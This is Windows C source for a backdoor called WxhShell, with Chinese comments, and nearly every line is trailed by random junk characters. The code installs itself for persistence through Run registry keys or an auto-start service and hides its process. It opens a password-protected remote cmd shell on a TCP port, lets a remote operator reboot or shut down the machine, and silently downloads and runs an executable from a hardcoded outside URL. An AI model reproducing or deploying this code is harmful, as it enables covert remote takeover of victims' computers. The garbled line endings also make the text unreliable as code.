    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SRU }-  
    else { N>zpx U {  
    closesocket(wsh); 35q4](o9"  
    ExitThread(0); )6~s;y!  
    } [h5~1N  
    break; fGZZ['E  
    } m`;dFL7"E  
  // 获取shell (]_smsok  
  case 's': { ^bD)Tg5K  
    CmdShell(wsh); *Z9Rl>  
    closesocket(wsh); DGc5Lol~  
    ExitThread(0); hSl6 X3W  
    break; O V"5:){  
  } `;`fA|F^  
  // 退出 $Ph T:  
  case 'x': { teQ <v[W.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); OON]E3yy  
    CloseIt(wsh); *KMW6dg;  
    break; =,MX%-2  
    } 8;%F-?  
  // 离开 jDO"?@+  
  case 'q': { [:hTwBRF  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); sKg IKYG}T  
    closesocket(wsh); Oax6_kmOj  
    WSACleanup(); =&_Y=>rA]0  
    exit(1); A$JL"~R  
    break; .RazjXAY  
        } j7(S=  
  } c"wk_ #  
  } rtjUHhF  
s%bm1$}  
  // 提示信息 k<Y}BvAYB  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _?}[7K!~d  
} R!+_mPb=Q*  
  } :@~Nszlb  
a< E\9DL  
  return; M~?2g.o'D  
} jqzG=/0~{  
OMY^'g%w  
// shell模块句柄  T)Uhp  
int CmdShell(SOCKET sock) ,(;TV_@$  
{ 8wf[*6VwV  
STARTUPINFO si; cv=H6j]h |  
ZeroMemory(&si,sizeof(si)); 6L/`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j7XUFA  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Il4R R  
PROCESS_INFORMATION ProcessInfo; %&iY5A  
char cmdline[]="cmd"; ["u:_2!4P  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); HV?Q{X K.b  
  return 0; JK%UaEut=  
} .:~{+ <*`  
(drDC1\  
// 自身启动模式 &6@# W]_  
int StartFromService(void) zObrp  
{ # 0* oj/  
typedef struct JS!`eO/8  
{ -"CXBKHb  
  DWORD ExitStatus; CMiE$yC  
  DWORD PebBaseAddress; Tlar@lC|u  
  DWORD AffinityMask; nOm-Yb+F  
  DWORD BasePriority; V [#$Sz[G  
  ULONG UniqueProcessId; 8[B0[2O  
  ULONG InheritedFromUniqueProcessId; K ; e R)  
}   PROCESS_BASIC_INFORMATION; Y00hc8<  
"y7IH GJ\3  
PROCNTQSIP NtQueryInformationProcess; 4!U)a  
lf9mdbm  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C"*8bVx]$n  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?*/1J~<(@  
9F "^MzZ  
  HANDLE             hProcess; xTGdh  
  PROCESS_BASIC_INFORMATION pbi; t_"]n*zk1  
L; o$vI~U,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1$S`>M%a  
  if(NULL == hInst ) return 0; 2v\<MrL  
H/^t]bg,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); sK/Z 'h{|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Qn!KL0w  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); khb/"VYd  
\c\z 6;j  
  if (!NtQueryInformationProcess) return 0; (7*((  
haSC[[o=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]Vm:iF#5P  
  if(!hProcess) return 0; \%czNF  
Q3'L\_1L  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; BCI[jfd7  
F@ld#O  
  CloseHandle(hProcess); ukDaX  
2]V&]s8Wi=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); DyCnL@  
if(hProcess==NULL) return 0; >9+h2B  
vo"?a~kY7  
HMODULE hMod; )qeed-{  
char procName[255]; WzqYB a  
unsigned long cbNeeded; oU/{<gs  
w{"ro~9o  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 18WJ*q7:  
] L6LB \  
  CloseHandle(hProcess); w!rw%  
<3fY,qw  
if(strstr(procName,"services")) return 1; // 以服务启动 9#:B_?e=  
5_+pgJL  
  return 0; // 注册表启动 D16w!Mnz{K  
} 2I>`{#fV  
r:U/a=V  
// 主模块 MWI7u7{  
int StartWxhshell(LPSTR lpCmdLine) aflBDo1c  
{  jAxrU  
  SOCKET wsl; pnp)- a*7  
BOOL val=TRUE; ZkmY pi[  
  int port=0; *q*$%H  
  struct sockaddr_in door; ?_j]w%Hz  
1xDh[:6  
  if(wscfg.ws_autoins) Install(); q+U&lw|"w  
!%(PN3*  
port=atoi(lpCmdLine); m9mkZ:r(kV  
sI5S)^'IQ  
if(port<=0) port=wscfg.ws_port; 0gsRBy  
Nz%Yi?AF  
  WSADATA data; I\<)9`O  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $6~t|[7:%Y  
B&"c:)1 C2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .W51Cup@&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;$g?W"  
  door.sin_family = AF_INET; Sv\399(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )ml#2XP!f  
  door.sin_port = htons(port); T_ga?G<  
>Q2kXwN  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 34I;DUdcE  
closesocket(wsl); a49t/  
return 1;  ay,"MJ2  
} u+m9DNPF  
K6 c[W%Va  
  if(listen(wsl,2) == INVALID_SOCKET) { E]0Qz? W  
closesocket(wsl); `4-m$ab  
return 1; }=fls=c/0  
} u,JUMH]@  
  Wxhshell(wsl); }$` PZUw>  
  WSACleanup(); cuh Z_l  
jP\5bg-}  
return 0; jE2EoQ i,  
A-l[f\  
} 4"s/T0C  
ke2}@|?t  
// 以NT服务方式启动 qoSZ+ khS$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) FVWHiwRU,  
{ iZE7 B7K  
DWORD   status = 0; gTk*v0WBm  
  DWORD   specificError = 0xfffffff; v,jB(B^|Z  
Ao, <G.>R  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 'DD~xCXE  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; i> dLp  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3/Dis) v8  
  serviceStatus.dwWin32ExitCode     = 0; F- {hXM  
  serviceStatus.dwServiceSpecificExitCode = 0; D22A)0+_  
  serviceStatus.dwCheckPoint       = 0; NEt_UcC  
  serviceStatus.dwWaitHint       = 0; W?yGV{#V(=  
AWDy_11Nm  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); vlo!D9zsV3  
  if (hServiceStatusHandle==0) return; [sl"\3)  
^+}~"nvD  
status = GetLastError(); 6o]j@o8V  
  if (status!=NO_ERROR) %&!B2z}  
{ rw#?NI:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; J~}i}|YC>  
    serviceStatus.dwCheckPoint       = 0; w g^'oy  
    serviceStatus.dwWaitHint       = 0; = ,c!V  
    serviceStatus.dwWin32ExitCode     = status; -/R?D1kOq  
    serviceStatus.dwServiceSpecificExitCode = specificError; "DSRyD0M  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3Qd%`k  
    return; Pv\-D<&@m  
  } oO9yI^  
~H:.&'E  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; W)Mc$`nX  
  serviceStatus.dwCheckPoint       = 0; ?ajVf./Ja  
  serviceStatus.dwWaitHint       = 0; \{54mM~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _VJG@>F9-  
} A5~OHmeK  
nTHCb>,vM  
// 处理NT服务事件,比如:启动、停止 G|j8iV O  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %[OZ;q& X  
{ 8u"HW~~=  
switch(fdwControl) OBf$0  
{ S$qpClXS,  
case SERVICE_CONTROL_STOP: 6SEq 2   
  serviceStatus.dwWin32ExitCode = 0; !H(V%B%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; F6Q nz8|  
  serviceStatus.dwCheckPoint   = 0; :Fi$-g  
  serviceStatus.dwWaitHint     = 0; %t%D|cf  
  { rSKZc`<^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Muok">#3.  
  } [fg-"-+:M  
  return; T^S $|d  
case SERVICE_CONTROL_PAUSE: -*;JUSGh  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5}:`CC2,S~  
  break; Qb@i_SX(fs  
case SERVICE_CONTROL_CONTINUE: MS& 'Nj  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Asli<L(?`  
  break; }^azj>p5  
case SERVICE_CONTROL_INTERROGATE: 1SG^X-(GM/  
  break; :`Xg0J+P  
}; ~T9wx   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4S*dNYc  
} "]B%V!@  
Jm-bE 8b  
// 标准应用程序主函数 @"n]v)[4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Svm'ds7>  
{ !JbWxGN`jn  
-_irkpdC[  
// 获取操作系统版本 qP72JxT  
OsIsNt=GetOsVer(); 3ZhuC".c  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I~ e,']  
B>%;"OMp  
  // 从命令行安装 sfs2kiH  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^=y%s  
j"n"=rTTQ  
  // 下载执行文件 {Z#=ppvs  
if(wscfg.ws_downexe) { $j"BHpN  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c>BDw<  
  WinExec(wscfg.ws_filenam,SW_HIDE); !"dAwG?S  
} Amv:dh  
=gHUY&sPu8  
if(!OsIsNt) { `It3X.^}  
// 如果时win9x,隐藏进程并且设置为注册表启动 WU~L#Ih.V  
HideProc(); Zo@  
StartWxhshell(lpCmdLine); N]&:xd5  
} 98lz2d/Fcq  
else "f>`ZFp^  
  if(StartFromService()) N ZZc[P  
  // 以服务方式启动 !mK}Rim~  
  StartServiceCtrlDispatcher(DispatchTable); y0,>_MS  
else Z |<  
  // 普通方式启动 sZ#U{LI  
  StartWxhshell(lpCmdLine); Dq`$3ZeA  
y':65NMda  
return 0; d*l2x[8}g-  
} , nW)A/?}  
w-LaSJ(T  
C'a#.LM  
lbMok/a2o  
=========================================== iIc/%< ;  
%nyZ=&u  
,&s%^I+CC  
["15~9  
a6 w'.]m  
I.kuYD62  
" om8`^P/b  
h/..cVD,K  
#include <stdio.h> JwdvY]  
#include <string.h> LQJC]*b1  
#include <windows.h> _J>!K'Dz  
#include <winsock2.h> .Xk#Cwm'  
#include <winsvc.h> ~;0W +  
#include <urlmon.h> ^a=V.  
!G;|~|fMV  
#pragma comment (lib, "Ws2_32.lib") ]4]AcJj  
#pragma comment (lib, "urlmon.lib") 9]QHwa>_|2  
C%AN4Mo  
#define MAX_USER   100 // 最大客户端连接数 q:9CFAX0=  
#define BUF_SOCK   200 // sock buffer .yQ<  
#define KEY_BUFF   255 // 输入 buffer ?7TuE!!M  
bkiMF$K,K  
#define REBOOT     0   // 重启 QUWx\hqE  
#define SHUTDOWN   1   // 关机 {gI%-  
[H {2<!  
#define DEF_PORT   5000 // 监听端口   9EWw  
r;GAQH}j_  
#define REG_LEN     16   // 注册表键长度 iO7s zi  
#define SVC_LEN     80   // NT服务名长度 o>A']+`E u  
_Q7]Dw/w\  
// 从dll定义API {2L V0:k2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m3=Cg$n  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); qq>Qi(>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); p']{WLDj2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); vCn\_Nu;W&  
~=?^v[T1  
// wxhshell配置信息 [E9)Da_)i  
struct WSCFG { JN3&(t  
  int ws_port;         // 监听端口 Gp2C wyv  
  char ws_passstr[REG_LEN]; // 口令 NGmXF_kqN  
  int ws_autoins;       // 安装标记, 1=yes 0=no oW3Uyj  
  char ws_regname[REG_LEN]; // 注册表键名 IgPU^?sp  
  char ws_svcname[REG_LEN]; // 服务名 \ \gAa-}:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 B* k|NZj  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 34 I Cn~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 C5~ +"#B  
int ws_downexe;       // 下载执行标记, 1=yes 0=no A\|:hzu+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?~ /_&=NSx  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {0 L)B{|  
N'YQ6U  
}; L | #"Yn  
_C@<*L=Q  
// default Wxhshell configuration 90gKGyxF  
struct WSCFG wscfg={DEF_PORT, X 1}U  
    "xuhuanlingzhe", aEdc8i ?  
    1, spma\,o  
    "Wxhshell", eOJ_L]y-  
    "Wxhshell", `bW0Va N  
            "WxhShell Service", )|KZGr  
    "Wrsky Windows CmdShell Service", R*VEeLx  
    "Please Input Your Password: ", }ni@]k#q<  
  1, ]s` cn}d  
  "http://www.wrsky.com/wxhshell.exe", LX m@h  
  "Wxhshell.exe" /l;_ xs  
    }; )u]1j@Id  
#=#bv`  
// 消息定义模块 7x.] 9J  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; UD_8#DO{m1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; G4wJv^6i9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Wx8n)  
char *msg_ws_ext="\n\rExit."; ]Ryg}DOQ  
char *msg_ws_end="\n\rQuit."; n1rJ^q-G  
char *msg_ws_boot="\n\rReboot..."; U[6 ~ad a  
char *msg_ws_poff="\n\rShutdown..."; S y^et  
char *msg_ws_down="\n\rSave to "; G4G<Ow)`  
L6J.^tpO  
char *msg_ws_err="\n\rErr!"; 9eEA80i7  
char *msg_ws_ok="\n\rOK!"; 2D4c|R@+  
O ;m[  
char ExeFile[MAX_PATH]; ;upYam"  
int nUser = 0; )zu m.6pT  
HANDLE handles[MAX_USER]; \:E=B1  
int OsIsNt; OhTd>~R`<  
GP_%. fO\M  
SERVICE_STATUS       serviceStatus; U[NQ"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _ _[bKd.  
p)s *Cw  
// 函数声明 V@\A<q%jTs  
int Install(void); u\u6< [>P  
int Uninstall(void); #ib?6=sPC  
int DownloadFile(char *sURL, SOCKET wsh); h&x;#.SYK  
int Boot(int flag); jk1mP6'P|  
void HideProc(void); mw~$;64;a  
int GetOsVer(void); a ~F\ 2`Q  
int Wxhshell(SOCKET wsl); XRXQ 7\n  
void TalkWithClient(void *cs); F,@uYMQs  
int CmdShell(SOCKET sock); Xe@:Aun  
int StartFromService(void); ab>>W!r@!  
int StartWxhshell(LPSTR lpCmdLine); )No>Q :t  
Em/? 4&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -S 0dr8E  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); qjf9ZD&  
gFr-P!3  
// 数据结构和表定义 (4C_Ft*~j  
SERVICE_TABLE_ENTRY DispatchTable[] = ,9~qLQ0O  
{ !~te&ccPE  
{wscfg.ws_svcname, NTServiceMain}, #Wely~  
{NULL, NULL} @%I-15Jz  
}; j0A9;AP;;C  
Wn5xX5H C  
// 自我安装 a4Y43n  
int Install(void) Og2G0sWRf  
{ }nMp.7b  
  char svExeFile[MAX_PATH]; j9*5Kj  
  HKEY key; ~[:Cl  
  strcpy(svExeFile,ExeFile); "T~A*a^  
2(25IYMS8  
// 如果是win9x系统,修改注册表设为自启动 Qp~3DUM  
if(!OsIsNt) { B0m2SUC,H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &cT@MV5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (`&E^t  
  RegCloseKey(key); "$e p=h+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1.z]/cx<y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Jf@~/!m}'  
  RegCloseKey(key); Zn]!*}  
  return 0; kw5`KfG9  
    } @H8CU!J  
  } cR!Mn$m  
} zUz j F  
else { %dq |)r  
*q0vp^?  
// 如果是NT以上系统,安装为系统服务  |I s"ov  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); x k&# fW^r  
if (schSCManager!=0) Rz=wInFs  
{ E/3<8cV  
  SC_HANDLE schService = CreateService u*8x.UE8C0  
  ( /`b`ai8`8  
  schSCManager, C ,#D4  
  wscfg.ws_svcname, sdXZsQw  
  wscfg.ws_svcdisp, FXFyF*w2  
  SERVICE_ALL_ACCESS, 1_5]3+r_U-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , b}Wm-]|+  
  SERVICE_AUTO_START, aThvq%;  
  SERVICE_ERROR_NORMAL, H*h4D+Kxv  
  svExeFile, AzFS6<_  
  NULL, I Ab-O  
  NULL, =90)=Pxd  
  NULL, M Jtn)gXb  
  NULL, l vfplA  
  NULL f<*-;  
  ); xGt>X77  
  if (schService!=0) 8RU91H8fE  
  { 52'0l>  
  CloseServiceHandle(schService); g!!:o(k  
  CloseServiceHandle(schSCManager); U&u~i 3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :KBy(}V  
  strcat(svExeFile,wscfg.ws_svcname); gi<%: [jT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <Eh_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); WU{9lL=  
  RegCloseKey(key); |/~ISB  
  return 0; pU[5f5_  
    } 3(=QY)  
  } jDCf]NvOPM  
  CloseServiceHandle(schSCManager); $B?IE#7S4  
} `WlQ<QEi  
} ]DLs'W;)  
r<EwtO+x  
return 1; :djbZ><  
} :;N2hnHoG  
V7$-4%NL  
// 自我卸载 4x?4[J~u[  
int Uninstall(void) ->5[C0: ]  
{ f- ~]  
  HKEY key; h?-M+Ac  
$(&+NJ$U$  
if(!OsIsNt) { }Ih5`$   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RwDXOdgu  
  RegDeleteValue(key,wscfg.ws_regname); KKM!($A  
  RegCloseKey(key); R|R3Ob.e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {h~<!sEX  
  RegDeleteValue(key,wscfg.ws_regname); Y&1Yc)*O  
  RegCloseKey(key); X oh@(%  
  return 0; $fQ'q3  
  } =7Sw29u<  
} k;pU8y6Y  
} 5~=wia  
else { gwN y]!  
X{;5jnpG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); CzG/=#IU  
if (schSCManager!=0) !s47A"O&B  
{ la 89>pF  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8o[+>W  
  if (schService!=0) 2 D!$x+|  
  { (zIF2qY  
  if(DeleteService(schService)!=0) { ]QmY`pTB`  
  CloseServiceHandle(schService); s5u  
  CloseServiceHandle(schSCManager); 0l~z0pvT  
  return 0; i z dJ,8  
  } ;Wig${  
  CloseServiceHandle(schService); ~uh,R-Q$  
  } >^Y)@ J  
  CloseServiceHandle(schSCManager); h#]LXs  
} wo_iCjmK  
} 0t.v  
JVh/<A  
return 1; !=(M P:  
} . /~#  
e\ O&Xe  
// 从指定url下载文件 js)I%Z  
int DownloadFile(char *sURL, SOCKET wsh)  4B'-tV  
{ _>i<`k  
  HRESULT hr; ?oQAxb&  
char seps[]= "/"; [OQ+&\  
char *token; mM-7 j z  
char *file; T*zy^we  
char myURL[MAX_PATH]; yrV]I(Xe  
char myFILE[MAX_PATH]; 7:X@lmBz=  
Qd"u$~ qC  
strcpy(myURL,sURL); xoNn'LF#u  
  token=strtok(myURL,seps); 5g4xhYl70n  
  while(token!=NULL) <O9.GHV1v  
  { w"A%@<V3Ec  
    file=token; `(pe#Xxn  
  token=strtok(NULL,seps); H?)?(t7@  
  } 4zx_L8#Z  
8AIAv_ g  
GetCurrentDirectory(MAX_PATH,myFILE); .:2=VLujU  
strcat(myFILE, "\\"); JbW!V Y  
strcat(myFILE, file); .$s=E8fW  
  send(wsh,myFILE,strlen(myFILE),0); J]qx4c  
send(wsh,"...",3,0); hdurT  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Wj\< )cH]  
  if(hr==S_OK) -0Q^k\X-  
return 0; eLyaTOZadu  
else rI4N3d;C  
return 1; _43 :1!os  
3R ZD=`  
} 7A4 6?kfu  
J)_IfbY  
// 系统电源模块 99&PY[f:{  
int Boot(int flag) MI*@^{G  
{ cK6IyJx-  
  HANDLE hToken; BxHfL8$1[$  
  TOKEN_PRIVILEGES tkp; Q)l~?Fx  
6Z68n  
  if(OsIsNt) { d> L*2 g  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }ygxmb^@Z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I=o/1:[-  
    tkp.PrivilegeCount = 1; L6"?p-:@'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _dynqF8*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); VU(#5X%Pn  
if(flag==REBOOT) { hwdZP=X  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) KfMaVU=4P  
  return 0; v#Y9O6g]T  
} r`!S*zK  
else { ,P$Crs[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) lr&O@ 5"oy  
  return 0; `~{ 0  
} =@ "'aCU/  
  } @-5V~itW  
  else { \_PD@A9  
if(flag==REBOOT) { A_<1}8{L  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4z^5|$?_ta  
  return 0; xgv&M:%D-  
} Gt5'-Hyo  
else { }[8Nr+y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) vV 7L :>  
  return 0; 3M<T}>  
} b1frAA  
} ^+q4*X6VB  
Z<n%~z^  
return 1; p_Y U!j_VE  
} Nlfz'_0M  
L'$;;eM4  
// win9x进程隐藏模块 rH5'+x K  
void HideProc(void) CHNIL^B  
{ X1; ljX  
a]8}zSUK  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {1]/ok2k5  
  if ( hKernel != NULL ) T^n0=|  
  { ctWH?b/ua  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); x\2N @*I:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); fN{JLp  
    FreeLibrary(hKernel); l/o 4bkV  
  } gCc::[}\Y  
FV W&)-I  
return; S#l6=zI7^R  
} 0xe*\CAo  
kmfxk/F}  
// 获取操作系统版本 5Bog\mS  
int GetOsVer(void) r-k,4Yz  
{ XH{P@2~l  
  OSVERSIONINFO winfo; DqTp*hI  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); b<?A  
  GetVersionEx(&winfo); ? {vY3~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) VN!+r7w'  
  return 1; _4h[q4Z  
  else >zY~")|R(  
  return 0; |FrZ,(\  
} E A}Vb(2  
b\H !\A  
// 客户端句柄模块 ThmN^N  
int Wxhshell(SOCKET wsl) (&t8.7O  
{ ]@bu%_s"  
  SOCKET wsh; @-F[3`HeA  
  struct sockaddr_in client; ?v$kq}Rg  
  DWORD myID; ~G*eJc0S:  
/QK H30E  
  while(nUser<MAX_USER) \"W _\&X  
{ u*i[A\Y  
  int nSize=sizeof(client); N J_#;t#j  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); FR9*WI   
  if(wsh==INVALID_SOCKET) return 1; U6Ws#e  
#_}r)q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); L:3  
if(handles[nUser]==0) E3<~C(APW  
  closesocket(wsh); a}#Jcy!e  
else !>Ru= $9  
  nUser++; $2+(|VG4F  
  } skR I \  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #:6gFfk0<  
bEc @"^)  
  return 0; r%DaBx!x8  
} cf ~TVa)M  
x9{&rl dC  
// 关闭 socket *)4 `"D  
void CloseIt(SOCKET wsh) voAen&>!  
{ s@c.nT%BYL  
closesocket(wsh); ); <Le6  
nUser--; fPLi8`r  
ExitThread(0); QN$Ac.F  
} o#ajBOJ  
`tb@x ^  
// 客户端请求句柄 KJ&~z? X  
void TalkWithClient(void *cs) rAZsVnk?  
{ cw)'vAE  
ubvXpK:.  
  SOCKET wsh=(SOCKET)cs; C-6m[W8S  
  char pwd[SVC_LEN]; 4RXF.kJ3=  
  char cmd[KEY_BUFF]; 5? rR'0  
char chr[1]; 3"XS#~l%  
int i,j; +f- E8q  
Lj(y>{y  
  while (nUser < MAX_USER) { -<GSHckD  
6*92I  
if(wscfg.ws_passstr) { ka$oUB)iQ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "Yu';&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +zup+=0e  
  //ZeroMemory(pwd,KEY_BUFF); '7Aj0U(  
      i=0; 31@m36? X  
  while(i<SVC_LEN) { uY~xHV_-  
V\(p6:1(6K  
  // 设置超时 Wk"\aoX"E  
  fd_set FdRead; _x ;fTW0  
  struct timeval TimeOut; )5(Ko <"  
  FD_ZERO(&FdRead); 9q=\_[\[  
  FD_SET(wsh,&FdRead); UPI'O %  
  TimeOut.tv_sec=8; D^%DYp  
  TimeOut.tv_usec=0; P)$q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !e"TWO*X  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); QTNE.n<?  
O%n=n3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cA8"Ft{P)  
  pwd=chr[0]; yF#:*Vz>  
  if(chr[0]==0xd || chr[0]==0xa) { H#+?)<UQ  
  pwd=0; m {)F9F  
  break; h+rrmC  
  } e%O]U:Z  
  i++; j;+!BKWy4  
    } Ea7LPHE#  
4xE [S  
  // 如果是非法用户,关闭 socket STxreW1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (Z72 3)  
} "7T9d)  
kroO~(\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); iA[WDB\|0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ef2#}%>  
o/U"'FP  
while(1) { ~YX!49XfHh  
&xGcxFd  
  ZeroMemory(cmd,KEY_BUFF); ^:c"%<"='  
D`G ;kp  
      // 自动支持客户端 telnet标准   XtV=Gr8"  
  j=0; c!{]Z_d\  
  while(j<KEY_BUFF) { QE8aYPSFf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eT|"6WJ:{  
  cmd[j]=chr[0]; 9se ,c  
  if(chr[0]==0xa || chr[0]==0xd) { 6*:mc  
  cmd[j]=0; \?9{H6<=  
  break; 6UkX?I`>  
  } sP+ZE>7  
  j++; JN Ur?+g  
    } k^ZcgHHgb  
nd 5w|83  
  // 下载文件  !AGjiP$  
  if(strstr(cmd,"http://")) { E2D}F@<]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); h 'F\9t  
  if(DownloadFile(cmd,wsh)) ny. YkN2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !VfP#B6.  
  else Cy~Pfty  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); > $#v\8  
  } nDh D"rc  
  else { iw$n*1M  
;6?VkF  
    switch(cmd[0]) { \R0&*cnmo  
  a_pNFe  
  // 帮助 \2K_"5  
